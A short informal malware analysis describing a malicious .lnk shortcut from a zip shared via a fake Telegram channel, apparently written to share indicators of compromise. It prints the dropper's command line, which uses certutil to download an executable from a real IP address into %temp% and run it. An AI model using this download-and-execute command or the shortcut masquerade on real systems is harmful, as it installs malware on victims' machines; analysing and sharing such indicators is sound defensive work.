# Malware Real case


i see someone sends zip file.

it seems like real channel but i noticed channel subscribers only 32 people


Moreover i see telegram channel url attacker hasn't changed like original they puts like chinese character


i unzip it


The .lnk pretends to be legit

From file mals.lnk:

LocalBasePath "C:\Windows\System32\tttracer.exe"
RunAsUser
window=showminnoactive

This is intentional deception

tttracer.exe is a real Microsoft binary

The shortcut points to it so users trust it

Window minimized → user doesn’t notice anything

it is dropper malware and hide it in %temp%

cmd /C certutil.exe -urlcache -f http://202.95.11.173/1.exe %temp%/1.exe && start %temp%/1.exe


Suspicious activity

Graph



### IOC
## https://www.virustotal.com/gui/ip-address/202.95.11.173
## https://app.any.run/tasks/6125695d-8a5b-40e4-a1a3-e28503006768